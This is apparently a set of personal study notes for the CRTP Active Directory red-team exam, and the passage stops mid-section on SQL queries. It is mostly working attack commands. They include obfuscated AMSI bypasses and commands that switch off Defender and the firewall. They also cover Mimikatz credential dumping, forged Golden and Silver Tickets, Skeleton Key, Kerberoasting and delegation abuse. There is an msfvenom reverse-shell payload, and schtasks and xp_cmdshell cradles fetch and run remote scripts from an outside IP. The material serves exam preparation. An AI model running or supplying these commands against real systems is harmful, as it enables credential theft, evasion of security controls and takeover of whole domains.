CRTP Exam - Guided By RedBlock
Certified Red Team Professional® (CRTP®)
CRTP-Notes
This repository contains my notes while preparing for the CRTP (Certified Red Team Pentesting) exam. These notes were a valuable resource during my study sessions, helping me reinforce critical concepts and improve my understanding of various red teaming and penetration testing topics.
Please note that these notes are based on my understanding and may only be comprehensive or suitable for some. They are intended to supplement other study materials and should not be considered a standalone resource for exam preparation.
Content
Section 0 — Methodology & Initial Setup — Pre-engagement checklist table, all three AMSI bypass variants, Defender disable commands, and credential object template
Section 1 — Domain Enumeration — Full coverage of basic recon, user/computer/group hunting, session hunting, share discovery, GPO/OU/ACL enumeration, trust mapping, BloodHound, and Kerberoast SPN discovery — all with actual commands
Section 2 — Local PrivEsc — Comprehensive table covering 15 techniques (Autorun, AlwaysInstallElevated, Service Registry, Juicy Potato, Hot Potato, Backup Operators, GPO Abuse, LAPS, Firefox, and more) with detection and exploitation steps for each
Section 3 — Lateral Movement — PSRemoting techniques table, file write/edit via ScriptBlock, Mimikatz credential dumping, Over-PtH patterns
Section 4 — Domain Persistence — Persistence comparison table (stealth vs survivability), Golden Ticket step-by-step table, Silver Ticket, Skeleton Key with PPL bypass
Section 5 — Domain PrivEsc — Kerberoasting, Unconstrained Delegation (including Printer Bug), Constrained Delegation with S4U2Self chain into DCSync
Section 6 — Forest Trust Abuse — Forest ticket forgery, SID History injection to Enterprise Admins, ForeignSecurityPrincipal discovery, full MSSQL link chain abuse
Section 7 — Quick Reference — Attack chain overview table, credential material reference (what hash gets you what), and full tool index
Copyrighted By RedBlock
METHODOLOGY & INITIAL SETUP
Follow this checklist every time you land on a new machine or get a new user account. Missing any step can leave you blind to pivoting opportunities.
0.1 — Pre-Engagement Checklist
# | Task | Command / Action | Notes |
|---|---|---|---|
1 | Bypass AMSI | Run AMSI bypass one-liner (see below) | Do this on every new user shell |
2 | Check Language Mode | $ExecutionContext.SessionState.LanguageMode | Constrained = limited; FullLanguage = unrestricted |
3 | Check Execution Policy | Get-ExecutionPolicy | Bypass if restricted |
4 | Check Privileges | whoami /all OR whoami /priv | Look for SeImpersonatePrivilege, SeDebugPrivilege |
5 | Disable Defender (if admin) | Set-MpPreference -DisableRealtimeMonitoring $true | Requires local admin rights |
6 | Disable Firewall | Set-NetFirewallProfile -All -Enabled False | Or use GUI method |
7 | Verify Allowed Commands | get-command (via Invoke-Command) | Critical on constrained endpoints |
0.2 — AMSI Bypass
Run this in every new PowerShell session before loading any offensive tools. AMSI will block tool imports if not bypassed first.
# Method 1 — Obfuscated one-liner (most reliable)
S`eT-It`em ( 'V'+'aR' + 'IA' + ('blE:1'+'q2') + ('uZ'+'x') ) ( [TYpE]( "{1}{0}"-F'F','rE' ) ) ; ( Get-varI`A`BLE ( ('1Q'+'2U') +'zX' ) -VaL )."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -f('Uti'+'l'),'A',('Am'+'si'),('.Man'+'age'+'men'+'t.'),('u'+'to'+'mation.'),'s',('Syst'+'em') ) )."g`etf`iElD"( ( "{0}{2}{1}" -f('a'+'msi'),'d',('I'+'nitF'+'aile') ),( "{2}{4}{0}{1}{3}" -f ('S'+'tat'),'i',('Non'+'Publ'+'i'),'c','c,' ))."sE`T`VaLUE"( ${n`ULl},${t`RuE} )
# Method 2 — Base64 encoded (for filtered environments)
[Ref].Assembly.GetType('System.Management.Automation.'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQBtAHMAaQBVAHQAaQBsAHMA')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),'NonPublic,Static').SetValue($null,$true)
# Method 3 — PowerShell 6+
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('s_amsiInitFailed','NonPublic,Static').SetValue($null,$true)
0.3 — Disable Windows Defender
# Disable real-time monitoring (requires admin)
Set-MpPreference -DisableRealtimeMonitoring $true
Set-MpPreference -DisableIOAVProtection $true
Set-MpPreference -DisableAutoExclusions $true
0.4 — Quick Credential Object Template
Use this pattern whenever you need to execute commands under a specific user account across the engagement.
$pass = ConvertTo-SecureString "Password123!" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("CORP\\john", $pass)
# Enter interactive session with those creds
Enter-PSSession -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred
# Or run a single command remotely
Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred -Command {whoami}
DOMAIN ENUMERATION
Thorough enumeration is the foundation of every successful engagement. Rushing through this phase will cause you to miss misconfigurations that are key escalation paths.
1.1 — Basic Domain Recon
Objective | Command | What to Look For |
|---|---|---|
Get current domain info | Get-NetDomain | Domain name, SID, forest root |
Enumerate another domain | Get-NetDomain -Domain moneycorp.local | Cross-domain visibility |
Get domain SID | Get-DomainSID | Needed for ticket forging |
Domain policy | Get-DomainPolicy (Get-DomainPolicy)."system access" | Password policy, Kerberos policy |
Kerberos policy | (Get-DomainPolicy -domain moneycorp.local)."kerberos policy" | Max ticket age — critical for Golden Ticket lifetime |
List Domain Controllers | Get-NetDomainController | Identify DCs for targeting |
DC in another domain | Get-NetDomainController -Domain moneycorp.local | Cross-domain DC |
1.2 — User Enumeration
# All users
Get-NetUser
Get-NetUser -Username student1
# All user properties
Get-UserProperty
Get-UserProperty -Properties pwdlastset,logoncount,badpwdcount
# Search for strings in user attributes (e.g. passwords in description)
Find-UserField -SearchField Description -SearchTerm "built"
Find-UserField -SearchField Description -SearchTerm "pass"
NOTE: If logoncount and badpwdcount are close to 0 and pwdlastset is very old, the account is likely a decoy/honeypot — avoid interacting with it aggressively.
1.3 — Computer Enumeration
# All computers
Get-NetComputer
Get-NetComputer -OperatingSystem "*Server 2016*"
Get-NetComputer -Ping
Get-NetComputer -FullData
TIP: Any authenticated domain user can create a computer object — watch for non-standard computer names that may indicate attacker-created objects.
1.4 — Group & Admin Enumeration
# All groups
Get-NetGroup
Get-NetGroup -Domain <targetdomain>
Get-NetGroup -FullData
# Groups with "admin" in the name
Get-NetGroup *admin*
Get-NetGroup -GroupName *admin* -Domain moneycorp.local
# Domain Admins members (recursive)
Get-NetGroupMember -GroupName "Domain Admins" -Recurse
# Full details on DA group
Get-NetGroup -GroupName "Domain Admins" -FullData
# Group membership for a specific user
Get-NetGroup -UserName "student1"
# Local groups on a machine (admin required on non-DCs)
Get-NetLocalGroup -ComputerName dcorp-dc.dollarcorp.moneycorp.local -ListGroups
Get-NetLocalGroup -ComputerName dcorp-dc.dollarcorp.moneycorp.local -Recurse
NOTE: Enterprise Admins and Enterprise Key Admins only show up when you specify the forest root domain explicitly — they live on the forest root DC only.
TIP: Always check the RID (last part of SID) — a renamed Administrator account will still show RID 500, revealing its true identity even if the name was changed.
1.5 — Session & Logon Hunting
# Active logged-in users (needs local admin on target)
Get-NetLoggedon -ComputerName dcorp-dc.dollarcorp.moneycorp.local
# Locally logged users (needs remote registry — auto-started on server OS)
Get-LoggedonLocal -ComputerName dcorp-dc.dollarcorp.moneycorp.local
# Last logged user (needs admin + remote registry)
Get-LastLoggedon -ComputerName <servername>
# Find machines where current user has local admin
Find-LocalAdminAccess -Verbose
# Find machines where DA (or specific user) has active sessions
Invoke-UserHunter
Invoke-UserHunter -GroupName "RDPUsers"
Invoke-UserHunter -CheckAccess # Confirms actual admin access
Invoke-UserHunter -Stealth # Only hits high-value targets (DCs, file servers)
1.6 — Share & File Discovery
# Find all shares across domain
Invoke-ShareFinder -Verbose
# Find sensitive files (passwords, config files)
Invoke-FileFinder -Verbose
# Get all file servers
Get-NetFileServer
1.7 — GPO & OU Enumeration
# List all GPOs
Get-NetGPO
Get-NetGPO -ComputerName dcorp-student1.dollarcorp.moneycorp.local
Get-GPO -All
gpresult /R /V
# GPOs using Restricted Groups (juicy for finding local admin paths)
Get-NetGPOGroup
# Who is local admin on a machine via GPO?
Find-GPOComputerAdmin -ComputerName student1.dollarcorp.moneycorp.local
# What machines does a user get local admin on via GPO?
Find-GPOLocation -Username student1 -Verbose
# OUs in domain
Get-NetOU -FullData
# GPO applied to an OU
Get-NetGPO -GPOname "{AB306569-220D-43FF-BO3B-83E8F4EF8081}"
# Find GPOs where low-privilege users have write access
Get-DomainObjectAcl -LDAPFilter '(objectCategory=groupPolicyContainer)' | ? { ($_.SecurityIdentifier -match '^S-1-5-.*-[1-9]\\d{3,}$') -and ($_.ActiveDirectoryRights -match 'WriteProperty|GenericAll|GenericWrite|WriteDacl|WriteOwner')}
1.8 — ACL Enumeration
# ACLs for a user object (resolve GUIDs to human-readable names)
Get-ObjectAcl -SamAccountName student1 -ResolveGUIDs
# ACLs by LDAP path
Get-ObjectAcl -ADSpath "LDAP://CN=Domain Admins,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local" -ResolveGUIDs -Verbose
# Scan for exploitable ACEs across the domain
Invoke-ACLScanner -ResolveGUIDs
# ACLs on a share path
Get-PathAcl -Path "\\\\dc.mydomain.local\\sysvol"
1.9 — Trust Enumeration
# All trusts for current domain
Get-NetDomainTrust
Get-NetDomainTrust -Domain us.dollarcorp.moneycorp.local
# Forest details
Get-NetForest
Get-NetForest -Forest eurocorp.local
# All domains in the forest
Get-NetForestDomain
Get-NetForestDomain -Forest eurocorp.local
# Global catalogs
Get-NetForestCatalog
Get-NetForestCatalog -Forest eurocorp.local
# Forest-level trusts
Get-NetForestTrust
Get-NetForestTrust -Forest eurocorp.local
# Users with access to other domains
Get-DomainForeignUser
# Groups with access to other domains
Get-DomainForeignGroupMember
1.10 — BloodHound Enumeration
# Load and run SharpHound (most thorough collection)
. .\\SharpHound.ps1
Invoke-BloodHound -CollectionMethod All,LoggedOn
Invoke-BloodHound -CollectionMethod All -Domain CONTROLLER.local -ZipFileName loot.zip
# Stealth mode — avoids querying DCs (evades ATA/MDI)
Invoke-BloodHound -CollectionMethod All -ExcludeDC
# Start analysis environment on Kali
sudo neo4j console &
bloodhound &
TIP: After loading data in BloodHound, immediately run the pre-built queries: 'Shortest Path to Domain Admins' and 'Find All Domain Admin Sessions'. These two paths cover 80% of engagements.
1.11 — Kerberoastable SPN Discovery
# Find all SPN-enabled user accounts (Kerberoast candidates)
Get-NetUser -SPN
Get-NetUser -SPN -Verbose | select displayname,memberof
# BloodHound SQL / PowerUpSQL
Import-Module .\\PowerUpSQL.psd1
Get-SQLInstanceDomain
NOTE: Prioritize SPNs assigned to user accounts (not computer accounts) — these tend to have weaker, crackable passwords and sometimes have elevated domain privileges.
LOCAL PRIVILEGE ESCALATION
Before you can move laterally or access domain resources, you often need local admin first. These are the most reliable techniques for Windows AD environments.
NOTE: Once you achieve local admin, ALWAYS relaunch PowerShell as Administrator before continuing — many AD attacks require elevated tokens.
2.1 — Automated Discovery (PowerUp)
# Load and run PowerUp — check ALL misconfigurations at once
powershell -ep bypass
. .\\PowerUp.ps1
Invoke-AllChecks
# Key findings to watch for:
# - UnquotedServicePath
# - ModifiableServiceFile
# - ModifiableService
# - AlwaysInstallElevated
2.2 — Local PrivEsc Techniques Reference
Technique | Detection Command | Exploitation Approach | Tool |
|---|---|---|---|
Autorun Registry | Autoruns64.exe → Logon tab accesschk64.exe -wvu "C:\Program Files\Autorun Program" | Replace target .exe with reverse shell payload | msfvenom / Autoruns |
AlwaysInstallElevated | reg query HKLM\Software\Policies\Microsoft\Windows\Installer reg query HKCU\Software\Policies\Microsoft\Windows\Installer | msfvenom -f msi → msiexec /quiet /qn /i setup.msi | msfvenom |
Service Registry ACL | Get-Acl -Path hklm:\System\CurrentControlSet\services\regsvc | fl | reg add HKLM\SYSTEM\...\services\regsvc /v ImagePath /t REG_EXPAND_SZ /d c:\temp\x.exe /f |
Modifiable Service Exe | Invoke-AllChecks (ModifiableServiceFile) | Replace service executable with reverse shell | PowerUp |
Unquoted Service Path | Invoke-AllChecks (UnquotedServicePath) | Drop payload at first space in path, start service | PowerUp / msfvenom |
Weak Service DACL | accesschk64.exe -uwcv Everyone * accesschk64.exe -uwcv daclsvc | sc config daclsvc binpath= "C:\Temp\reverse.exe" sc start daclsvc | accesschk / sc.exe |
Startup Folder Writable | icacls.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup" | Drop .exe in Startup folder, wait for admin logon | icacls / msfvenom |
Juicy Potato | whoami /priv → SeImpersonatePrivilege | ./jp.exe -p shell.bat -l 7777 -t * -c "{CLSID}" | JuicyPotato |
Hot Potato | whoami /priv → SeImpersonatePrivilege | Invoke-Tater -Trigger 1 -Command "net localgroup administrators user /add" | Tater.ps1 |
Backup Operators | whoami /all → Backup Operators group | DiskShadow + Robocopy → extract NTDS → secretsdump | DiskShadow / secretsdump |
GPO Abuse | BloodHound → GPO write rights | SharpGPOAbuse --AddComputerTask → gpupdate /force | SharpGPOAbuse |
LAPS Password Read | AD permissions check for ms-Mcs-AdmPwd | Get-ADComputer -Properties ms-Mcs-AdmPwd | PowerShell / AD module |
Firefox Password Mining | winpeas → Firefox profile path | Copy key4.db, logins.json → firepwd.py | firepwd |
RunAs SavedCreds | cmdkey /list | runas.exe /user:DOMAIN\Administrator /savecred "cmd.exe /c ..." | cmdkey / runas |
Kernel Exploit | systeminfo → windows-exploit-suggester.py | Compile and run relevant exploit | WES / manual |
2.3 — Key Exploitation Commands
◆ Service Abuse via PowerUp
# After Invoke-AllChecks identifies a vulnerable service
Invoke-ServiceAbuse -Name 'AbyssWebServer' -UserName 'dcorp\\student21'
◆ Unquoted Service Path — Manual
# Place payload at the space location, then start the service
sc start unquotedsvc
# OR
net start unquotedsvc
◆ Weak Service DACL — Manual
sc config daclsvc binpath= "C:\\Temp\\reverse.exe"
sc start daclsvc
◆ AlwaysInstallElevated
# Check both hives (both must be 0x1)
reg query HKLM\\Software\\Policies\\Microsoft\\Windows\\Installer
reg query HKCU\\Software\\Policies\\Microsoft\\Windows\\Installer
# Generate and deploy MSI payload
# On Kali:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=[tun0 IP] LPORT=53 -f msi -o setup.msi
# On Windows (as low-priv user):
msiexec /quiet /qn /i C:\\Temp\\setup.msi
◆ Backup Operators → NTDS Dump
# Step 1 — Create shadow copy via DiskShadow script
diskshadow /s script.txt
# Step 2 — Copy NTDS.dit using Robocopy bypass
robocopy /b E:\\Windows\\ntds . ntds.dit
# Step 3 — Export SYSTEM hive
reg save hklm\\system c:\\temp\\system.hive
# Step 4 — Decrypt on Kali
secretsdump.py -ntds ntds.dit -system system.hive LOCAL | tee hash-dump
◆ Abusing GPO (SharpGPOAbuse)
# Add user to local admin group via GPO scheduled task
.\\SharpGPOAbuse.exe --AddComputerTask --TaskName "Debug" --Author vulnnet\\administrator --Command "cmd.exe" --Arguments "/c net localgroup administrators enterprise-security /add" --GPOName "SECURITY-POL-VN"
# Force GPO refresh to apply immediately
gpupdate /force
****
2.4 — Adding Users to Privileged Groups
# Add to local administrators
net localgroup Administrators student21 /add
# Add to Remote Desktop Users
net localgroup "Remote Desktop Users" student21 /add
# Add to Domain Admins (once you have DA-level access)
net group "DOMAIN ADMINS" student21 /domain /add
# Add to arbitrary group (e.g. for BloodHound GenericAll path)
net group "SQLMANAGERS" examAd /domain /add
LATERAL MOVEMENT
Once you have local admin on a machine or valid credentials, use PowerShell remoting and credential passing to spread across the environment.
3.1 — PowerShell Remoting Techniques
Technique | Command | Use Case |
|---|---|---|
Enter interactive session | Enter-PSSession -ComputerName dcorp-adminsrv.dollarcorp.moneycorp.local | Interactive shell on remote host |
Persistent stateful session | $sess = New-PSSession -ComputerName dcorp-adminsrv.dollarcorp.moneycorp.local Enter-PSSession -Session $sess | Maintain session state between commands |
Run command remotely | Invoke-Command -ComputerName dcorp-adminsrv -ScriptBlock {whoami} | Non-interactive remote execution |
Run file remotely | Invoke-Command -ComputerName dcorp-adminsrv -FilePath "C:\temp\mimikatz.exe" | Execute a local file on the remote machine |
Run with credentials | Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred -Command {whoami} | Delegate commands as a specific user |
Check language mode | Invoke-Command -ComputerName dcorp-adminsrv -ScriptBlock {$ExecutionContext.SessionState.LanguageMode} | Verify if constrained on target |
List allowed commands | Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred -Command {get-command} | Constrained endpoint — see what's allowed |
Load local function remotely | Invoke-Command -ScriptBlock ${function:hello} -ComputerName dcorp-adminsrv.dollarcorp.moneycorp.local | Use locally-dot-sourced functions on remote host |
3.2 — File Write & Edit via ScriptBlock
# Write a file on the remote machine
Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred -ScriptBlock {Set-Content -Path 'c:\\program files\\Keepmeon\\admin.bat' -Value 'net group site_admin awallace /add /domain'}
# Edit existing file content (replace a string in-place)
Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -ScriptBlock {((cat "c:\\users\\imonks\\Desktop\\wm.ps1" -Raw) -replace 'Get-Volume','cmd.exe /c c:\\utils\\msfvenom.exe') | set-content -path c:\\users\\imonks\\Desktop\\wm.ps1} -Credential $cred
3.3 — Invoke-Mimikatz for Credential Dumping
# Dump all credentials on local machine
Invoke-Mimikatz -DumpCreds
# Dump credentials on multiple remote machines simultaneously
Invoke-Mimikatz -DumpCreds -ComputerName @("sys1","sys2")
# Dump ekeys (AES keys — needed for Over-Pass-The-Hash)
Invoke-Mimikatz -Command '"sekurlsa::ekeys"'
# Dump credentials from vault
Invoke-Mimikatz -Command '"token::elevate" "vault::cred /patch"'
# Over-Pass-The-Hash — spawn PowerShell as another user using their NTLM hash
Invoke-Mimikatz -Command '"sekurlsa::pth /user:Administrator /domain:dollarcorp.moneycorp.local /ntlm:<ntlmhash> /run:powershell.exe"'
NOTE: Over-Pass-The-Hash uses the NTLM hash to request a Kerberos TGT, which gives you a full Kerberos session — better than Pass-The-Hash alone since it works with services that require Kerberos.
3.4 — Running Commands in Another User Context
# Full one-liner to run a command as a specific user
powershell.exe -c "$user='WORKGROUP\\John'; $pass='password123'; try { Invoke-Command -ScriptBlock { Get-Content C:\\Users\\John\\Desktop\\secret.txt } -ComputerName Server123 -Credential (New-Object System.Management.Automation.PSCredential $user,(ConvertTo-SecureString $pass -AsPlainText -Force)) } catch { echo $_.Exception.Message }" 2>&1
# Verify you are who you think you are after a PtH attack
Invoke-Command -ScriptBlock {whoami;hostname} -ComputerName dcorp-dc.dollarcorp.moneycorp.local
DOMAIN PERSISTENCE
Once you achieve Domain Admin, establish multiple persistence mechanisms before attempting anything loud. Defenders may notice the initial compromise and rotate credentials — these mechanisms survive that.
4.1 — Persistence Mechanism Comparison
Mechanism | Stealth | Survivability | Access Level Required | Best Used When |
|---|---|---|---|---|
Golden Ticket | Medium | Survives password change (not krbtgt reset) | DA (need krbtgt hash) | Long-term covert access |
Silver Ticket | High | Survives DA password change | Machine account hash only | Accessing specific services quietly |
Skeleton Key | Low | Does NOT survive DC reboot | DA (inject into LSASS) | Short-term — quick repeated access |
DSRM Abuse | High | Persistent until DSRM flag changed | DA | Reliable backdoor to DC |
ACL AdminSDHolder | High | Survives group membership cleanup | DA | Hidden privilege escalation path |
ACL DCSync Rights | High | Survives until ACL reverted | DA | Pull hashes at will without DA shell |
Security Descriptors | High | Survives until modified | DA | Remote WMI/PowerShell access as low-priv user |
▶ 4.2 — Golden Ticket
◆ Step-by-Step Process
Step | Action | Command |
|---|---|---|
1 | Get DA session via Over-PtH | Invoke-Mimikatz -Command '"sekurlsa::pth /user:Administrator ..."' |
2 | Create PSSession to DC | $sess = New-PSSession -ComputerName dcorp-dc.dollarcorp.moneycorp.local |
3 | Bypass AMSI in the session | Invoke-Command -Session $sess -ScriptBlock { [AMSI bypass here] } |
4 | Load Mimikatz on DC session | Invoke-Command -FilePath .\Invoke-Mimikatz.ps1 -Session $sess |
5 | Enter session + get krbtgt hash | Enter-PSSession -Session $sess Invoke-Mimikatz -Command '"lsadump::lsa /patch"' |
6 | Note the krbtgt NTLM hash | Copy hash value for next step |
7 | On any machine — forge Golden Ticket | kerberos::golden (see below) |
8 | Access DC resources | ls \\dc-corp\C$ |
# Get krbtgt hash via DCSync (cleaner method — no need to log on to DC directly)
Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\\krbtgt"'
# Execute on DC as DA
Invoke-Mimikatz -Command '"lsadump::lsa /patch"' -ComputerName dcorp-dc
# Forge Golden Ticket and inject into memory (ptt = pass-the-ticket)
Invoke-Mimikatz -Command '"kerberos::golden /User:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-268341927-4156871508-1792461683 /krbtgt:a9b30e5b00dc865eadcea9411e4ade72d /id:500 /groups:512 /startoffset:0 /endin:600 /renewmax:10080 /ptt"'
# Verify ticket is in memory
klist
NOTE: Match /endin and /renewmax values to the domain Kerberos policy from Section 1.1 — mismatched values can be flagged by modern AV/EDR solutions and Defender for Identity.
4.3 — Silver Ticket
# Get DC machine account hash
Invoke-Mimikatz -Command '"lsadump::lsa /patch"' -ComputerName dcorp-dc
# Forge Silver Ticket for CIFS service (file share access)
Invoke-Mimikatz -Command '"kerberos::golden /domain:ad.domain.local /sid:<sid> /target:dcorp-dc.dollarcorp.moneycorp.local /service:CIFS /rc4:<rc4-hash> /user:Administrator /ptt"'
# Use ticket to run scheduled task on DC
schtasks /create /S dcorp-dc.dollarcorp.moneycorp.local /SC Weekly /RU "NT Authority\\SYSTEM" /TN "STCheck" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''<http://10.10.10.10:8080/Invoke-PowerShellTcp.ps1>''')'"
schtasks /Run /S ad.domain.local /TN "STCheck"
TIP: Silver Tickets only work for a single service on a single machine — use CIFS for file access, HTTP for web, HOST for task scheduling. They are less detectable than Golden Tickets since they do not touch the KDC.
4.4 — Skeleton Key
# Inject Skeleton Key into DC LSASS (requires DA)
Invoke-Mimikatz -Command '"privilege::debug" "misc::skeleton"' -ComputerName dcorp-dc.dollarcorp.moneycorp.local
# Default password becomes: mimikatz
# Now log in as ANY domain user with password "mimikatz"
Enter-PSSession -ComputerName dcorp-dc.dollarcorp.moneycorp.local -Credential dcorp\\Administrator
# If LSASS is running as a Protected Process (PPL), use driver:
# In a direct mimikatz shell on the DC:
# privilege::debug
# !+
# !processprotect /process:lsass.exe /remove
# misc::skeleton
# !-
NOTE: Skeleton Key is injected into memory and does NOT survive a reboot. Defenders will see unusual LSASS activity. Use for rapid access, not long-term persistence.
DOMAIN PRIVILEGE ESCALATION
These attacks let you escalate from a standard domain user to Domain Admin without brute force — they abuse protocol design flaws and misconfigured delegation settings.
5.1 — Kerberoasting
◆ When to Use
Use when you find user accounts with SPNs assigned. These accounts can be requested as TGS tickets by any authenticated user, and the ticket is encrypted with the service account's password hash — crackable offline.
# Step 1 — Find Kerberoastable accounts (user accounts with SPNs)
Get-NetUser -SPN
Get-NetUser -SPN -Verbose | select displayname,memberof
# Step 2 — Request TGS ticket for the SPN
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/computer.domain.local"
# Step 3 — Verify ticket was granted
klist
# Step 4 — Export all tickets from memory
Invoke-Mimikatz -Command '"kerberos::list /export"'
# Step 5 — Crack the ticket offline
python.exe .\\tgsrepcrack.py .\\10k-worst-pass.txt .\\2-40a10000-user1@MSSQLSvc~computer.domain.localDOMAIN.LOCAL.kirbi
TIP: Prioritize SPNs registered to domain admin or service accounts. If cracked, these give you direct DA-level access without any exploitation.
5.2 — Unconstrained Delegation
◆ Understanding the Attack
Machines configured for Unconstrained Delegation receive and store TGTs from every user who authenticates to them. If you compromise such a machine, you can steal those TGTs — including tickets from Domain Admins — and reuse them.
# Find machines with Unconstrained Delegation
Get-NetComputer -UnConstrained
# Compromise the UD machine, then export all stored tickets
Invoke-Mimikatz -Command '"sekurlsa::tickets /export"'
# Inject DA ticket into current session
Invoke-Mimikatz -Command '"kerberos::ptt [email protected]"'
# If no DA ticket is cached yet, use the Printer Bug to force DC to authenticate to the UD machine
Invoke-UserHunter -ComputerName dcorp-appsrv -Poll 100 -UserName Administrator -Delay 5 -Verbose
NOTE: The Printer Bug (MS-RPRN SpoolSample) forces the DC machine account to authenticate to your controlled UD machine, depositing a DA-level TGT you can steal and reuse.
5.3 — Constrained Delegation
◆ Understanding the Attack
Constrained Delegation allows a service to impersonate users — but only to specific targets listed in msDS-AllowedToDelegateTo. If you compromise such an account, you can forge TGS tickets to those permitted targets as any user, including Administrator.
# Step 1 — Find accounts with CD enabled
Get-DomainUser -TrustedToAuth
Get-DomainComputer -TrustedToAuth
# Step 2 — Note the msDS-AllowedToDelegateTo value (target service)
# Step 3 — Request a TGT for the CD-enabled account using its hash (via kekeo)
tgt::ask /user:websvc /domain:domain.local /rc4:cc098f204c5887eaa8253e7c2749156f
# Step 4 — Request a TGS impersonating Administrator to the allowed service
tgs::s4u /tgt:TGT.kirbi /user:Administrator@domain.local /service:cifs/computer.domain.LOCAL
# For LDAP + chaining to DCSync:
tgs::s4u /tgt:TGT.kirbi /user:Administrator@domain.local /service:time/computer.domain.LOCAL|ldap/computer.domain.LOCAL
# Step 5 — Inject ticket into memory
Invoke-Mimikatz -Command '"kerberos::ptt TGS.kirbi"'
# Step 6 — Execute DCSync to dump domain hashes
Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\\krbtgt"'
TIP: If the CD target includes LDAP on a DC, you can chain it directly into a DCSync attack — this gets you all domain hashes in one move.
6. FOREST TRUST ABUSE
Cross-forest attacks let you move from one AD forest into another when bidirectional or one-way trusts exist. This is often the path to compromising the parent/root forest from a child domain.
6.1 — Forest Trust Ticket Abuse
# Step 1 — Get the inter-forest trust key (run as DA in child domain)
Invoke-Mimikatz -Command '"lsadump::trust /patch"'
Invoke-Mimikatz -Command '"lsadump::lsa /patch"'
# Step 2 — Forge the inter-forest TGT (referral ticket to target forest)
Invoke-Mimikatz -Command '"Kerberos::golden /user:Administrator /domain:ad.domain.local /sid:<sid> /rc4:<rc4-hash> /service:krbtgt /target:domain2.local /ticket:C:\\temp\\trust_forest_tkt.kirbi"'
# Step 3 — Request a TGS for a service in the target forest using the forged TGT
.\\asktgs.exe C:\\temp\\trust_forest_tkt.kirbi CIFS/dc.domain2.local
# Step 4 — Inject ticket and access target forest resources
.\\kirbikator.exe lsa .\\CIFS.computer.targetDomain.local.kirbi
ls \\\\dc.domain2.local\\shares\\
6.2 — SID History Injection
# Get a full domain dump including SID history from the child domain DC
**Invoke-Mimikatz -Command '"lsadump::dcsync /domain:DOLLARCORP.MONEYCORP.LOCAL /all /csv"'
# Forge a Golden Ticket with SID History pointing to Enterprise Admins in root forest
Invoke-Mimikatz -Command '"kerberos::golden /user:student21 /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /sids:S-1-5-21-280534878-1496970234-700767426-519 /krbtgt:ff46a9d8bd66c6efd77603da26796f35 /ptt"'
# /sids value = Enterprise Admins SID of the ROOT forest (ends in -519)
# Verify access to root forest DC
gwmi -Class win32_computersystem -ComputerName mcorp-dc.moneycorp.local**
NOTE: The /sids parameter injects a SID from another domain into your ticket's SID history. Windows honors these during access checks. Targeting the Enterprise Admins SID (-519) gives you admin over the entire forest.
6.3 — ForeignSecurityPrincipal Discovery
# Find objects in the target domain that have been granted access from outside
Get-DomainObject -Domain targetDomain.local | ? {$_.objectclass -match "foreignSecurityPrincipal"}
# Resolve the foreign SID back to its source domain object
Get-DomainObject | ? {$_.objectsid -match "S-1-5-21-493355955-4215530352-779396340-1104"}
6.4 — MSSQL Forest Abuse
◆ Part 1: Discovery & Enumeration
# Load PowerUpSQL
Import-Module .\\PowerUpSQL.psd1
# Find all SQL instances in the domain
Get-SQLInstanceDomain
# Test connectivity to all discovered instances
Get-SQLConnectionTestThreaded
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose
# Gather server info (version, SA status, linked servers)
Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose
# Check impersonation rights (can you EXECUTE AS another user?)
Invoke-SQLAudit -Verbose -Instance <instanceName>
◆ Part 2: Database Link Crawl & RCE
# Find SQL server links (chains between instances)
Get-SQLServerLink -Instance <instanceName> -Verbose
select * from master..sysservers
# Crawl all linked databases
Get-SQLServerLinkCrawl -Instance dcorp-mysql -Verbose
select * from openquery("<instanceName>",'select * from openquery("<linkedInstance>",''select * from master..sysservers'')')
# Execute OS commands via xp_cmdshell through linked servers
Get-SQLServerLinkCrawl -Instance dcorp-mysql -Query "exec master..xp_cmdshell 'whoami'" | ft
# Download and execute a payload through linked chain
Get-SQLServerLinkCrawl -Instance <instanceName> -Query 'exec master..xp_cmdshell "powershell -c iex (new-object net.webclient).downloadstring(''<http://IP:8080/Invoke-HelloWorld.ps1>'')"'
# Impersonate another SQL login and enable xp_cmdshell
Get-SQLServerLinkCrawl -Verbose -Instance <instanceName> -Query "EXECUTE AS LOGIN = 'dbuser'; EXECUTE AS LOGIN = 'sa'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE; EXEC master..xp_cmdshell 'powershell -c iex (new-object net.webclient).downloadstring(''<http://IP/Invoke-HelloWorld.ps1>'')'"
Invoke-SQLAuditPrivImpersonateLogin -Instance <instanceName> -Exploit -Verbose
◆ Basic SQL Enumeration Queries
# List all databases
Get-SQLQuery -Instance <instanceName> -Query "SELECT name FROM sys.databases"
# List all tables in a database
Get-SQLQuery -Instance <instanceName> -Query "SELECT * FROM dbName.INFORMATION_SCHEMA.TABLES"
# List all columns in all tables
Get-SQLQuery -Instance <instanceName> -Query "SELECT * FROM dbName.INFORMATION_SCHEMA.columns"
# Read data from a table
